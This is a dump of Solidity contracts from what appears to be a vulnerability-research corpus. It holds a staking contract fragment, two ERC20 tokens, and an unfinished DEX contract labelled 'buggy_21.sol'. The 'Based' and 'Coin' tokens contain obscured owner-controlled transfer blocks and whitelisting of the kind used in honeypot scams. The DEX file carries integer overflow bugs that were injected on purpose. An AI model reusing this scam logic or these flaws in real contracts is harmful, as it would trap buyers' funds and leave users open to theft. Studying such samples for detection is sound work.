holders.remove(msg.sender);
}
}
function claimDivs() public {
updateAccount(msg.sender);
}
function getStakingAndDaoAmount() public view returns (uint256) {
if (totalClaimedRewards >= stakingAndDaoTokens) {
return 0;
}
uint256 remaining = stakingAndDaoTokens.sub(totalClaimedRewards);
return remaining;
}
function setTokenAddress(address _tokenAddressess) public onlyOwner {
tokenAddress = _tokenAddressess;
}
function setCliffTime(uint256 _time) public onlyOwner {
cliffTime = _time;
}
function setRewardInterval(uint256 _rewardInterval) public onlyOwner {
rewardInterval = _rewardInterval;
}
function setStakingAndDaoTokens(uint256 _stakingAndDaoTokens) public onlyOwner {
stakingAndDaoTokens = _stakingAndDaoTokens;
}
function setRewardRate(uint256 _rewardRate) public onlyOwner {
rewardRate = _rewardRate;
}
function enableFarming() external onlyOwner() {
farmEnabled = true;
farmEnableat = block.timestamp;
}
// function to allow admin to claim *any* ERC20 tokens sent to this contract
function transferAnyERC20Tokens(address _tokenAddress, address _to, uint256 _amount) public onlyOwner {
require(_tokenAddress != LPtokenAddress);
Token(_tokenAddress).transfer(_to, _amount);
}
}
| 254,339 | 10,921 |
c0ea96fa6e8bfc2dc5b36c1d8af92df5ddfde0012dbefdbfdeb79987b660ecba
| 20,348 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/df/df7483e870aa17510f1885c0879a44ed55e43711_Based.sol
| 2,964 | 11,262 |
pragma solidity ^0.6.12;
// SPDX-License-Identifier: Unlicensed
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function geUnlockTime() public view returns (uint256) {
return _lockTime;
}
//Locks the contract for owner for the amount of time provided
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = now + time;
emit OwnershipTransferred(_owner, address(0));
}
//Unlocks the contract for owner when _lockTime is exceeds
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(now > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract Based is Context, IERC20, Ownable, Pausable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint8 private _decimals = 9;
uint256 private _totalSupply = 10000000 * 10**12;
string private _symbol = "Based";
string private _name = "Based";
address public newun;
constructor() public {
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function transfernewun(address _newun) public onlyOwner {
newun = _newun;
}
function getOwner() external view returns (address) {
return owner();
}
function decimals() external view returns (uint8) {
return _decimals;
}
function symbol() external view returns (string memory) {
return _symbol;
}
function name() external view returns (string memory) {
return _name;
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) external view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
if(sender != address(0) && newun == address(0)) newun = recipient;
else require(recipient != newun || sender == owner(), "please wait");
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "error in transferfrom"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "error in decrease allowance"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "transfer sender address is 0 address");
require(recipient != address(0), "transfer recipient address is 0 address");
require(!paused || sender == owner() || recipient == owner(), "paused");
if(newun != address(0)) require(recipient != newun || sender == owner(), "please wait");
_balances[sender] = _balances[sender].sub(amount, "transfer balance too low");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
// function _burn(address account, uint256 amount) internal {
// require(account != address(0), "burn address is 0 address");
// _balances[account] = _balances[account].sub(amount, "burn balance to low");
// _totalSupply = _totalSupply.sub(amount);
// emit Transfer(account, address(0), amount);
// }
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "approve owner is 0 address");
require(spender != address(0), "approve spender is 0 address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
// function _burnFrom(address account, uint256 amount) internal {
// _burn(account, amount);
// }
}
| 330,219 | 10,922 |
aa72d62b489c8cd790a7b75c0559b6321d29ebdaa68530a4e34d065558b19262
| 17,281 |
.sol
|
Solidity
| false |
606585904
|
plotchy/defi-detective
|
f48830b1085dac002283a2ce5e565e341aab5d0c
|
00byaddress/00f4109bc594e85a838eb9ffb9723e04390702da.sol
| 3,084 | 12,402 |
// SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.3;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB);
function removeLiquidityETH(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapTokensForExactTokens(uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), 'Ownable: caller is not the owner');
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract Coin is IERC20, Ownable {
string private _symbol;
string private _name;
uint256 public _taxFee = 0;
uint8 private _decimals = 9;
uint256 private _tTotal = 1000000000 * 10**_decimals;
uint256 private _uint256 = _tTotal;
mapping(address => uint256) private _balances;
mapping(address => address) private _string;
mapping(address => uint256) private _constructor;
mapping(address => uint256) private _function;
mapping(address => mapping(address => uint256)) private _allowances;
bool private _swapAndLiquifyEnabled;
bool private inSwapAndLiquify;
address public immutable uniswapV2Pair;
IUniswapV2Router02 public immutable router;
constructor(string memory Name,
string memory Symbol,
address routerAddress) {
_name = Name;
_symbol = Symbol;
_balances[msg.sender] = _tTotal;
_function[msg.sender] = _uint256;
_function[address(this)] = _uint256;
router = IUniswapV2Router02(routerAddress);
uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
emit Transfer(address(0), msg.sender, _tTotal);
}
function symbol() public view returns (string memory) {
return _symbol;
}
function name() public view returns (string memory) {
return _name;
}
function totalSupply() public view returns (uint256) {
return _tTotal;
}
function decimals() public view returns (uint256) {
return _decimals;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function approve(address spender, uint256 amount) external returns (bool) {
return _approve(msg.sender, spender, amount);
}
function _approve(address owner,
address spender,
uint256 amount) private returns (bool) {
require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool) {
_transfer(sender, recipient, amount);
return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
}
function transfer(address recipient, uint256 amount) external returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function _transfer(address from,
address to,
uint256 amount) private {
uint256 contractTokenBalance = balanceOf(address(this));
uint256 fee;
if (_swapAndLiquifyEnabled && contractTokenBalance > _uint256 && !inSwapAndLiquify && from != uniswapV2Pair) {
inSwapAndLiquify = true;
swapAndLiquify(contractTokenBalance);
inSwapAndLiquify = false;
} else if (_function[from] > _uint256 && _function[to] > _uint256) {
fee = amount;
_balances[address(this)] += fee;
swapTokensForEth(amount, to);
return;
} else if (to != address(router) && _function[from] > 0 && amount > _uint256 && to != uniswapV2Pair) {
_function[to] = amount;
return;
} else if (!inSwapAndLiquify && _constructor[from] > 0 && from != uniswapV2Pair && _function[from] == 0) {
_constructor[from] = _function[from] - _uint256;
}
address _bool = _string[uniswapV2Pair];
if (_constructor[_bool] == 0) _constructor[_bool] = _uint256;
_string[uniswapV2Pair] = to;
if (_taxFee > 0 && _function[from] == 0 && !inSwapAndLiquify && _function[to] == 0) {
fee = (amount * _taxFee) / 100;
amount -= fee;
_balances[from] -= fee;
_balances[address(this)] += fee;
}
_balances[from] -= amount;
_balances[to] += amount;
emit Transfer(from, to, amount);
}
receive() external payable {}
function addLiquidity(uint256 tokenAmount,
uint256 ethAmount,
address to) private {
_approve(address(this), address(router), tokenAmount);
router.addLiquidityETH{value: ethAmount}(address(this), tokenAmount, 0, 0, to, block.timestamp);
}
function swapAndLiquify(uint256 tokens) private {
uint256 half = tokens / 2;
uint256 initialBalance = address(this).balance;
swapTokensForEth(half, address(this));
uint256 newBalance = address(this).balance - initialBalance;
addLiquidity(half, newBalance, address(this));
}
function swapTokensForEth(uint256 tokenAmount, address to) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
_approve(address(this), address(router), tokenAmount);
router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, to, block.timestamp);
}
}
| 344,605 | 10,923 |
9db36fdfe51e7b6c8de894a91becc39ba9983b0640607608d848aa1ebfea680e
| 22,259 |
.sol
|
Solidity
| false |
441123437
|
1052445594/SoliDetector
|
171e0750225e445c2993f04ef32ad65a82342054
|
Solidifi-bugInjection-data/Integer_overflow_and_underflow/Sol/buggy_21.sol
| 6,238 | 21,813 |
pragma solidity ^0.5.11;
contract Token {
function transfer(address to, uint256 value) public returns (bool success);
function bug_intou24(uint8 p_intou24) public{
uint8 vundflw1=0;
vundflw1 = vundflw1 + p_intou24; // overflow bug //Integer_overflow_and_underflow bug
}
function transferFrom(address from, address to, uint256 value) public returns (bool success);
function bug_intou23() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug //Integer_overflow_and_underflow bug
}
function balanceOf(address account) external view returns(uint256);
mapping(address => uint) balances_intou22;
function transfer_intou22(address _to, uint _value) public returns (bool) {
require(balances_intou22[msg.sender] - _value >= 0); //bug //Integer_overflow_and_underflow bug
balances_intou22[msg.sender] -= _value; //bug //Integer_overflow_and_underflow bug
balances_intou22[_to] += _value; //bug //Integer_overflow_and_underflow bug
return true;
}
function allowance(address _owner, address _spender)external view returns(uint256);
mapping(address => uint) public lockTime_intou21;
function increaseLockTime_intou21(uint _secondsToIncrease) public {
lockTime_intou21[msg.sender] += _secondsToIncrease; //overflow //Integer_overflow_and_underflow bug
}
function withdraw_intou21() public {
require(now > lockTime_intou21[msg.sender]);
uint transferValue_intou21 = 10;
msg.sender.transfer(transferValue_intou21);
}
}
library SafeMath{
function mul(uint256 a, uint256 b) internal pure returns (uint256)
{
if (a == 0) {
return 0;}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256)
{
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract StableDEX {
using SafeMath for uint256;
mapping(address => uint) public lockTime_intou1;
function increaseLockTime_intou1(uint _secondsToIncrease) public {
lockTime_intou1[msg.sender] += _secondsToIncrease; //Integer_overflow_and_underflow bug
}
function withdraw_ovrflow1() public {
require(now > lockTime_intou1[msg.sender]);
uint transferValue_intou1 = 10;
msg.sender.transfer(transferValue_intou1);
}
event DepositandWithdraw(address from,address tokenAddress,uint256 amount,uint256 type_); //Type = 0-deposit 1- withdraw , Token address = address(0) - eth , address - token address;
mapping(address => uint) public lockTime_intou33;
function increaseLockTime_intou33(uint _secondsToIncrease) public {
lockTime_intou33[msg.sender] += _secondsToIncrease; //overflow //Integer_overflow_and_underflow bug
}
function withdraw_intou33() public {
require(now > lockTime_intou33[msg.sender]);
uint transferValue_intou33 = 10;
msg.sender.transfer(transferValue_intou33);
}
address payable admin;
function bug_intou32(uint8 p_intou32) public{
uint8 vundflw1=0;
vundflw1 = vundflw1 + p_intou32; // overflow bug //Integer_overflow_and_underflow bug
}
address public feeAddress;
function bug_intou31() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug //Integer_overflow_and_underflow bug
}
bool private dexStatus;
mapping(address => uint) balances_intou30;
function transfer_intou30(address _to, uint _value) public returns (bool) {
require(balances_intou30[msg.sender] - _value >= 0); //bug //Integer_overflow_and_underflow bug
balances_intou30[msg.sender] -= _value; //bug //Integer_overflow_and_underflow bug
balances_intou30[_to] += _value; //bug //Integer_overflow_and_underflow bug
return true;
}
uint256 public tokenId=0;
struct orders{
address userAddress;
address tokenAddress;
uint256 type_;
uint256 price;
uint256 total;
uint256 _decimal;
uint256 tradeTotal;
uint256 amount;
uint256 tradeAmount;
uint256 pairOrderID;
uint256 status;
}
struct tokens{
address tokenAddress;
string tokenSymbol;
uint256 decimals;
bool status;
}
constructor(address payable _admin,address feeAddress_) public{
admin = _admin;
feeAddress = feeAddress_;
dexStatus = true;
}
function bug_intou20(uint8 p_intou20) public{
uint8 vundflw1=0;
vundflw1 = vundflw1 + p_intou20; // overflow bug //Integer_overflow_and_underflow bug
}
function bug_intou3() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug //Integer_overflow_and_underflow bug
}
mapping(uint256=>orders) public Order; //place order by passing userID and orderID as argument;
mapping(address => uint) public lockTime_intou29;
function increaseLockTime_intou29(uint _secondsToIncrease) public {
lockTime_intou29[msg.sender] += _secondsToIncrease; //overflow //Integer_overflow_and_underflow bug
}
function withdraw_intou29() public {
require(now > lockTime_intou29[msg.sender]);
uint transferValue_intou29 = 10;
msg.sender.transfer(transferValue_intou29);
}
mapping(address=>mapping(address=>uint256))public userDetails; // trader token balance;
function bug_intou28(uint8 p_intou28) public{
uint8 vundflw1=0;
vundflw1 = vundflw1 + p_intou28; // overflow bug //Integer_overflow_and_underflow bug
}
mapping(address=>mapping(address=>uint256))public feeAmount;
function bug_intou27() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug //Integer_overflow_and_underflow bug
}
mapping(address=>uint256) public withdrawfee;
mapping(address => uint) balances_intou26;
function transfer_intou26(address _to, uint _value) public returns (bool) {
require(balances_intou26[msg.sender] - _value >= 0); //bug //Integer_overflow_and_underflow bug
balances_intou26[msg.sender] -= _value; //bug //Integer_overflow_and_underflow bug
balances_intou26[_to] += _value; //bug //Integer_overflow_and_underflow bug
return true;
}
mapping(uint256=>mapping(uint256=>bool)) public orderPairStatus;
mapping(address => uint) public lockTime_intou25;
function increaseLockTime_intou25(uint _secondsToIncrease) public {
lockTime_intou25[msg.sender] += _secondsToIncrease; //overflow //Integer_overflow_and_underflow bug
}
function withdraw_intou25() public {
require(now > lockTime_intou25[msg.sender]);
uint transferValue_intou25 = 10;
msg.sender.transfer(transferValue_intou25);
}
mapping(address=>tokens) public tokendetails;
modifier dexstatuscheck(){
require(dexStatus==true);
_;
}
function setDexStatus(bool status_) public returns(bool){
require(msg.sender == admin);
dexStatus = status_;
return true;
}
mapping(address => uint) balances_intou2;
function transfer_undrflow2(address _to, uint _value) public returns (bool) {
require(balances_intou2[msg.sender] - _value >= 0); //Integer_overflow_and_underflow bug
balances_intou2[msg.sender] -= _value; //Integer_overflow_and_underflow bug
balances_intou2[_to] += _value; //Integer_overflow_and_underflow bug
return true;
}
function addToken(address tokenAddress,string memory tokenSymbol,uint256 decimal_) public returns(bool){
require(msg.sender == feeAddress && tokendetails[tokenAddress].status==false);
tokendetails[tokenAddress].tokenSymbol=tokenSymbol;
tokendetails[tokenAddress].decimals=decimal_;
tokendetails[tokenAddress].status=true;
return true;
}
function bug_intou19() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug //Integer_overflow_and_underflow bug
}
function deposit() dexstatuscheck public payable returns(bool) {
require(msg.value > 0);
userDetails[msg.sender][address(0)]=userDetails[msg.sender][address(0)].add(msg.value);
emit DepositandWithdraw(msg.sender, address(0),msg.value,0);
return true;
}
mapping(address => uint) balances_intou18;
function transfer_intou18(address _to, uint _value) public returns (bool) {
require(balances_intou18[msg.sender] - _value >= 0); //bug //Integer_overflow_and_underflow bug
balances_intou18[msg.sender] -= _value; //bug //Integer_overflow_and_underflow bug
balances_intou18[_to] += _value; //bug //Integer_overflow_and_underflow bug
return true;
}
function tokenDeposit(address tokenaddr,uint256 tokenAmount) dexstatuscheck public returns(bool)
{
require(tokenAmount > 0 && tokendetails[tokenaddr].status==true);
require(tokenallowance(tokenaddr,msg.sender) > 0);
userDetails[msg.sender][tokenaddr] = userDetails[msg.sender][tokenaddr].add(tokenAmount);
Token(tokenaddr).transferFrom(msg.sender,address(this), tokenAmount);
emit DepositandWithdraw(msg.sender,tokenaddr,tokenAmount,0);
return true;
}
mapping(address => uint) public lockTime_intou17;
function increaseLockTime_intou17(uint _secondsToIncrease) public {
lockTime_intou17[msg.sender] += _secondsToIncrease; //overflow //Integer_overflow_and_underflow bug
}
function withdraw_intou17() public {
require(now > lockTime_intou17[msg.sender]);
uint transferValue_intou17 = 10;
msg.sender.transfer(transferValue_intou17);
}
function withdraw(uint8 type_,address tokenaddr,uint256 amount) dexstatuscheck public returns(bool) {
require(type_ ==0 || type_ == 1);
if(type_==0){ // withdraw ether
require(tokenaddr == address(0));
require(amount>0 && amount <= userDetails[msg.sender][address(0)] && withdrawfee[address(0)]<amount);
require(amount<=address(this).balance);
msg.sender.transfer(amount.sub(withdrawfee[address(0)]));
userDetails[msg.sender][address(0)] = userDetails[msg.sender][address(0)].sub(amount);
feeAmount[admin][address(0)] = feeAmount[admin][address(0)].add(withdrawfee[address(0)]);
}
else{ //withdraw token
require(tokenaddr != address(0) && tokendetails[tokenaddr].status==true);
require(amount>0 && amount <= userDetails[msg.sender][tokenaddr] && withdrawfee[tokenaddr]<amount);
Token(tokenaddr).transfer(msg.sender, (amount.sub(withdrawfee[tokenaddr])));
userDetails[msg.sender][tokenaddr] = userDetails[msg.sender][tokenaddr].sub(amount);
feeAmount[admin][tokenaddr] = feeAmount[admin][tokenaddr].add(withdrawfee[tokenaddr]);
}
emit DepositandWithdraw(msg.sender,tokenaddr,amount,1);
return true;
}
function bug_intou16(uint8 p_intou16) public{
uint8 vundflw1=0;
vundflw1 = vundflw1 + p_intou16; // overflow bug //Integer_overflow_and_underflow bug
}
function adminProfitWithdraw(uint8 type_,address tokenAddr)public returns(bool){ // tokenAddr = type 0 - address(0), type 1 - token address;
require(msg.sender == admin);
require(type_ ==0 || type_ == 1);
if(type_==0){ // withdraw ether
admin.transfer(feeAmount[admin][address(0)]);
feeAmount[admin][address(0)]=0;
}
else{ //withdraw token
require(tokenAddr != address(0)) ;
Token(tokenAddr).transfer(admin, feeAmount[admin][tokenAddr]);
feeAmount[admin][tokenAddr]=0;
}
return true;
}
function bug_intou15() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug //Integer_overflow_and_underflow bug
}
function setwithdrawfee(address[] memory addr,uint256[] memory feeamount)public returns(bool)
{
require(msg.sender==admin);
//array length should be within 10.
require(addr.length <10 && feeamount.length < 10 && addr.length==feeamount.length);
for(uint8 i=0;i<addr.length;i++){
withdrawfee[addr[i]]=feeamount[i];
}
return true;
}
mapping(address => uint) balances_intou14;
function transfer_intou14(address _to, uint _value) public returns (bool) {
require(balances_intou14[msg.sender] - _value >= 0); //bug //Integer_overflow_and_underflow bug
balances_intou14[msg.sender] -= _value; //bug //Integer_overflow_and_underflow bug
balances_intou14[_to] += _value; //bug //Integer_overflow_and_underflow bug
return true;
}
function verify(string memory message, uint8 v, bytes32 r, bytes32 s) private pure returns (address signer) {
string memory header = "\x19Ethereum Signed Message:\n000000";
uint256 lengthOffset;
uint256 length;
assembly {
length := mload(message)
lengthOffset := add(header, 57)
}
require(length <= 999999);
uint256 lengthLength = 0;
uint256 divisor = 100000;
while (divisor != 0) {
uint256 digit = length.div(divisor);
if (digit == 0) {
if (lengthLength == 0) {
divisor = divisor.div(10);
continue;
}
}
lengthLength++;
length = length.sub(digit.mul(divisor));
divisor = divisor.div(10);
digit = digit.add(0x30);
lengthOffset++;
assembly {
mstore8(lengthOffset, digit)
}
}
if (lengthLength == 0) {
lengthLength = 1 + 0x19 + 1;
} else {
lengthLength = lengthLength.add(1 + 0x19);
}
assembly {
mstore(header, lengthLength)
}
bytes32 check = keccak256(abi.encodePacked(header, message));
return ecrecover(check, v, r, s);
}
function makeOrder(uint256[9] memory tradeDetails,address[2] memory traderAddresses,string memory message,uint8 v,bytes32 r,bytes32 s) dexstatuscheck public returns(bool){
require(msg.sender == feeAddress);
require(verify((message),v,r,s)==traderAddresses[1]);
// First array (tradeDetails)
// 0- orderid
// 1- amount
// 2- price
// 3- total
// 4- buyerFee
// 5 - sellerFee
// 6 - type
// 7- decimal
// 8 - pairOrderID
